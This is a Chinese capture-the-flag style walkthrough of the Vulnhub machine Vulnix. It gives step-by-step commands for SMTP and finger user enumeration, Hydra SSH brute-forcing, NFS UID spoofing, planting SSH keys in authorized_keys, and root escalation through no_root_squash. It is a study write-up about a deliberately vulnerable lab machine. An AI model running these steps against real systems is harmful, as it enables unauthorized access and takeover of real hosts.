打靶日记 Vulnhub靶机 HackLAB: Vulnix

admin 2025年3月30日22:52:21评论2 views字数 5879阅读19分35秒阅读模式

一、探测靶机IP(进行信息收集)

主机发现

arp-scan -l
打靶日记 Vulnhub靶机 HackLAB: Vulnix
nmap -sS -sV -T5 -p- 192.168.10.12 -A
打靶日记 Vulnhub靶机 HackLAB: Vulnix

二、端口信息搜集

SMTP信息搜集(25/tcp)

smpt-user-enum 是一款用于 枚举SMTP服务有效用户 的工具,通过发送 SMTP 协议的 VRFY 或 EXPN 命令,验证指定用户名是否存在。

用kali自带的字典在/usr/share/wordlists/metasploit/unix_users.txt,kali上有很多字典

smtp-user-enum -M VRFY -U unix_users.txt -t 192.168.10.12

-M VRFY:使用 SMTP 的 VRFY 命令验证用户是否存在(部分服务器可能禁用此命令,可替换为 EXPN 或 RCPT)。

-U:用于指定包含待检测用户名的文件。

-t:用于指定目标 SMTP 服务器的 IP 地址(默认端口一般为 25)。

打靶日记 Vulnhub靶机 HackLAB: Vulnix
vim user.txt 
打靶日记 Vulnhub靶机 HackLAB: Vulnix
awk -F'[: ]+''{print $2}' user.txt
打靶日记 Vulnhub靶机 HackLAB: Vulnix

再把筛选好的复制回user.txt

Finger 服务 (79/tcp)

Finger通常被用来查询用户是否登录以及用户登录的用户名、登录时间、办公地址、电话、邮件地址等

查看用户的登录状态

Finger-User-Enumeration工具利用

git clone https://github.com/hypn/Finger-User-Enumeration.git
vim finger_enum_user.sh

改为自己本机的ip

打靶日记 Vulnhub靶机 HackLAB: Vulnix
# 利用方法 ./finger_enum_user.sh 端口 文件
./finger_enum_user.sh 79 user.txt 

然后就可以将前面获得的用户的信息列举出来

打靶日记 Vulnhub靶机 HackLAB: Vulnix

列举了这么多用户,发现只有root和user用户是/bin/bash,大部分是/bin/sh,其他的都不能进行反弹shell

Shell路径 用途 是否允许交互登录
/bin/sh
标准Unix Shell,常用于系统脚本,通常为其他Shell的符号链接(如Dash或Bash)。
/bin/bash
功能丰富的交互式Shell,支持命令历史、补全等特性,多数Linux发行版的默认用户Shell。
/bin/false
非交互式Shell,直接返回退出状态码1,禁止用户登录。常用于系统服务账户。
/usr/sbin/nologin
非交互式Shell,登录时显示提示信息(如“This account is not available”)。

三、Hydra爆破

对user用户进行爆破

hydra -L user -P fasttrack.txt ssh://192.168.10.12
打靶日记 Vulnhub靶机 HackLAB: Vulnix

user

letmein

打靶日记 Vulnhub靶机 HackLAB: Vulnix
ls -alh /etc/*cron*
  • ls -alh:以 长格式(-l) 显示文件详细信息,包括权限、所有者、大小、时间等;-h 让文件大小以人类可读的格式(如 KB、MB)展示。

  • /etc/_cron_:匹配 /etc/ 目录下所有包含 cron 关键字的文件和目录(通配符 * 表示任意字符)

logrotate软件是一个日志管理工具,用于 切割日志,删除旧的日志文件,并创建新的日志文件,起到“转储作用”,可以为系统节省磁盘空间。

查看了定时任务,没有发现什么可以利用的点

打靶日记 Vulnhub靶机 HackLAB: Vulnix
find / -perm -4000 -print 2>/dev/null
打靶日记 Vulnhub靶机 HackLAB: Vulnix

这里也没有什么可以利用的地方

尝试内核提权,发现user用户没gcc

NFS共享利用

# 查看NFS导出列表
showmount -e 192.168.10.12
打靶日记 Vulnhub靶机 HackLAB: Vulnix
# 挂载共享目录(假设导出/home)
mkdir -p /tmp/nfs #创建一个新的目录,为后续挂载 NFS 共享目录做准备
mount -t nfs 192.168.10.12:/home/vulnix /tmp/nfs
#mount -t nfs <远程路径> <本地挂载点>
  • mount:这是一个 Linux 命令,其功能是将文件系统挂载到指定的挂载点上。

  • -t nfs-t 是 mount 命令的一个选项,用于指定要挂载的文件系统类型。这里指定的是 nfs,也就是网络文件系统。

  • 192.168.10.12:/home:这是远程 NFS 服务器上共享目录的路径。其中,192.168.10.12 是 NFS 服务器的 IP 地址,/home 是该服务器上要共享的目录。

打靶日记 Vulnhub靶机 HackLAB: Vulnix

挂载成功但是没有权限

返回user用户看看vulnix权限

再去看看etc/passwd,为2008,是一个普通用户

打靶日记 Vulnhub靶机 HackLAB: Vulnix

在进行绕过之前要知道NFS与SSH的一些

NFS权限绕过

NFS(网络文件系统)在验证文件访问权限时,依赖数字UID/GID而非用户名。 当你在本地挂载远程NFS共享目录时,系统会将本地用户的UID与远程文件的属主UID进行匹配:

  • 若本地存在相同UID的用户 → 可读写对应文件(即使用户名不同)

  • 若本地无匹配UID的用户 → 按nobody处理,导致权限不足

创建本地同名用户(UID=2008)

# 创建用户并指定UID
useradd -u 2008 vulnix
# 设置密码
passwd vulnix 
打靶日记 Vulnhub靶机 HackLAB: Vulnix

切换为vulnix用户即可访问

打靶日记 Vulnhub靶机 HackLAB: Vulnix

SSH密钥认证

SSH允许用户通过 密钥对 登录,无需密码:

  • 公钥(id_rsa.pub):放置在目标用户的~/.ssh/authorized_keys文件中。

  • 私钥(id_rsa):本地保存,用于身份验证。

攻击逻辑

  1. 通过NFS挂载获取对vulnix家目录的写权限。

  2. vulnix~/.ssh/目录下写入你的公钥。

  3. 使用私钥通过SSH登录目标主机,系统验证公钥匹配后授予访问权限。

四、反弹shell

方法一(总体思路写在六、总结)

先生成本地私钥公钥

首先,在kali上以root用户生成自己的公钥私钥,在.ssh目录下

cd /root/.ssh 
ssh-keygen -t rsa #生成私钥公钥
#后面直接一直按enter就ok
打靶日记 Vulnhub靶机 HackLAB: Vulnix

然后查看公钥

cat id_rsa.pub

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDyHHXqk5JK3C4ICed+jKzLSKHzPRwTRqMefKb85xAKiM/1llbgOYMC3G/nJswkSSUztA6urep/rNYhuvT4Kkqr8kTuKsFCvPnwMRigncafBvcypyq3+nE5qrWkUwbpLD0dxE+GPVd+33/0y1YmnToJmvYWS+2h2zctI5vZkOWNsWI0zriOjigm0WUxO1cUxr8XOXeMlqoeS3jTMlUKpjt4vuVWhWGyILgoCp5xOf0fzZR6l4/LZfWoQ4iV/DttQdxGATXVUZRkYLblL1GdVK/D5VWf8x4y3OB79a7TxLW41RhQK5DtEXD8EmJuZfBZn9I9eOuchhVg2KtLrtHOOp8K0beMJrEEMabUjMhMeQ47YiR4WNkSr5fubgeJ2cNypOhmudjUXOlWMbCeqCQzAh6B0S26FwzldgloWUpGdy6b0CQZgC9N12XbI4YAiJM6wksgnqLHZRVL2ITZx9Wn2TJU29eA2vVBhn9/uy6YGcDiP5Gy1AkVnjgbt8U+bPSL358= root@kali

再将自己本地的公钥复制到vulnix~/.ssh/目录的authorized_keys文件中

su vulnix
cd /tmp/nfs #进入共享目录切换用户
mkdir .ssh 
cd .ssh  
echo'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDyHHXqk5JK3C4ICed+jKzLSKHzPRwTRqMefKb85xAKiM/1llbgOYMC3G/nJswkSSUztA6urep/rNYhuvT4Kkqr8kTuKsFCvPnwMRigncafBvcypyq3+nE5qrWkUwbpLD0dxE+GPVd+33/0y1YmnToJmvYWS+2h2zctI5vZkOWNsWI0zriOjigm0WUxO1cUxr8XOXeMlqoeS3jTMlUKpjt4vuVWhWGyILgoCp5xOf0fzZR6l4/LZfWoQ4iV/DttQdxGATXVUZRkYLblL1GdVK/D5VWf8x4y3OB79a7TxLW41RhQK5DtEXD8EmJuZfBZn9I9eOuchhVg2KtLrtHOOp8K0beMJrEEMabUjMhMeQ47YiR4WNkSr5fubgeJ2cNypOhmudjUXOlWMbCeqCQzAh6B0S26FwzldgloWUpGdy6b0CQZgC9N12XbI4YAiJM6wksgnqLHZRVL2ITZx9Wn2TJU29eA2vVBhn9/uy6YGcDiP5Gy1AkVnjgbt8U+bPSL358= root@kali' > authorized_keys
打靶日记 Vulnhub靶机 HackLAB: Vulnix

cat进去看下,成功写入

在vulnix用户下

chmod 700 .ssh
chmod 600 authorized_keys
打靶日记 Vulnhub靶机 HackLAB: Vulnix

.ssh目录必须为 700

SSH的检查机制: 如果 .ssh 目录权限不符合 700,SSH 服务器可能拒绝密钥认证,强制要求密码登录。

公钥文件(authorized_keys)必须为 600

  • 600 = 所有者 rw-,组和其他用户 ---

  • 700 = 所有者 rwx,组和其他用户 --

在kali上(root用户)

chmod 600 ~/.ssh/id_rsa

私钥文件(id_rsa)必须为 600

SSH的强制要求: 如果私钥权限不符合 600,SSH 客户端会直接拒绝使用该密钥,并报错

打靶日记 Vulnhub靶机 HackLAB: Vulnix
ssh -o 'PubkeyAcceptedKeyTypes +ssh-rsa' -i /root/.ssh/id_rsa [email protected]

-o 'PubkeyAcceptedKeyTypes +ssh-rsa'

  • 作用:强制客户端在密钥认证过程中接受 ssh-rsa 类型的公钥。
打靶日记 Vulnhub靶机 HackLAB: Vulnix

方法二

首先,在vulnix用户下

su vulnix
cd /tmp/nfs
mkdir .ssh
cd .ssh
ssh-keygen -t rsa
       ./id_rsa,密码为空
打靶日记 Vulnhub靶机 HackLAB: Vulnix
mv id_rsa.pub authorized_keys
mv id_rsa /tmp/id_rsa
chmod 600 /tmp/id_rsa

id_rsa.pub公钥重命名为authorized_keys

id_rsa私钥复制到本地,并修改权限为只能读写

使用私钥登录即可

ssh -o 'PubkeyAcceptedKeyTypes +ssh-rsa' -i /tmp/id_rsa [email protected]
打靶日记 Vulnhub靶机 HackLAB: Vulnix

五、提权

打靶日记 Vulnhub靶机 HackLAB: Vulnix

root_squash

将客户端的 root 用户(UID 0)映射为服务端的 匿名用户(通常是 nobody 或 nfsnobody)。

即使客人自称是“超级VIP”(客户端 root 用户),酒店也会将他视为普通客人(服务端的匿名用户,如 nobody

  • 客户端以 root 身份访问共享目录时,服务端会将其权限限制为普通用户,无法执行特权操作

no_root_squash

允许客户端的 root 用户(UID 0)保留 root 权限,即客户端 root 用户在服务端也被视为 root。

如果客人自称是“超级VIP”,酒店会直接给他一把万能钥匙(服务端 root 权限)

  • 客户端 root 用户可以直接修改服务端文件,甚至删除系统关键文件。
打靶日记 Vulnhub靶机 HackLAB: Vulnix

重启要等一下,查看挂载目录,挂载成功

showmount -e 192.168.10.12
打靶日记 Vulnhub靶机 HackLAB: Vulnix
mkdir /tmp/nfs2/
mount -t nfs 192.168.10.12:/root /tmp/nfs2/
cd /tmp/nfs2
mkdir .ssh
cd .ssh
打靶日记 Vulnhub靶机 HackLAB: Vulnix
ssh-keygen -t rsa
mv id_rsa2.pub authorized_keys
mv id_rsa2 /tmp/id_rsa2
chmod 600 /tmp/id_rsa2
打靶日记 Vulnhub靶机 HackLAB: Vulnix
ssh -o 'PubkeyAcceptedKeyTypes +ssh-rsa' -i /tmp/id_rsa2 [email protected]
打靶日记 Vulnhub靶机 HackLAB: Vulnix

提权成功

六、总结

反弹shell的方法一的思路就是先在我本地的root用户下,在/.ssh/目录下生成一对自己的公钥私钥,然后查看我自己的公钥,将公钥复制下来,切换为vulnix用户,在vulnix用户下创建.ssh目录,再将我root用户的公钥写入authorized_keys文件里(直接echo会自己创建),确保权限正确,因为ssh有检查机制,这时就可以ssh指定算法,指定为root的私钥去登录成功

这个公钥和私钥就像一个信箱和钥匙,我生成了一个信箱和钥匙,只有我的钥匙能开我的信箱,我只要让别人的信箱和我的一模一样,那我就可以开别人的信箱,而如何让别人的信箱和我的信箱一样,这里的共享挂载目录就帮忙了,通过这个共享的挂载目录就可以把我的信箱给vulnix,但是你要确保这个信箱现在是vulnix用户的,就像是送给他了,因为规定公钥(id_rsa.pub)是放在目标用户(vulnix)的~/.ssh/authorized_keys文件中,我复制写入authorized_keys文件里的操作,就相当于我把我的信箱送给了vulnix用户,我和vulnix用户是完全一致的信箱,钥匙在我手里,我再通过我的钥匙去开我自己的信箱,就打开了

反弹shell的方法二的思路其实和思路一差不多,就是先在vulnix用户的/.ssh/目录下生成一对自己的公钥私钥,这是专属vulnix用户的信箱和钥匙,把公钥(id_rsa.pub)改名为(authorized_keys),因为规定公钥(id_rsa.pub)是放在目标用户的~/.ssh/authorized_keys文件中,然后将vulnix的私钥给我的本地kali的用户,但是你要确保这个钥匙的所有者还是vulnix而不是你的,就像借给你用的,然后我就可以用vulnix给我的钥匙去开他的信箱,就打开了

总体就是

方法一,我有一个信箱和钥匙,我将我的信箱送给vulnix,这个信箱就归vulnix,但是信箱和钥匙还是匹配的,我拿这个钥匙去开他的信箱

方法二,vulnix用户把他的钥匙借给我了,钥匙还是vulnix的,我拿他的钥匙去开他的信箱

原文始发于微信公众号(泷羽Sec-临观):打靶日记 Vulnhub靶机 HackLAB: Vulnix

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月30日22:52:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   打靶日记 Vulnhub靶机 HackLAB: Vulnixhttps://cn-sec.com/archives/3897594.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息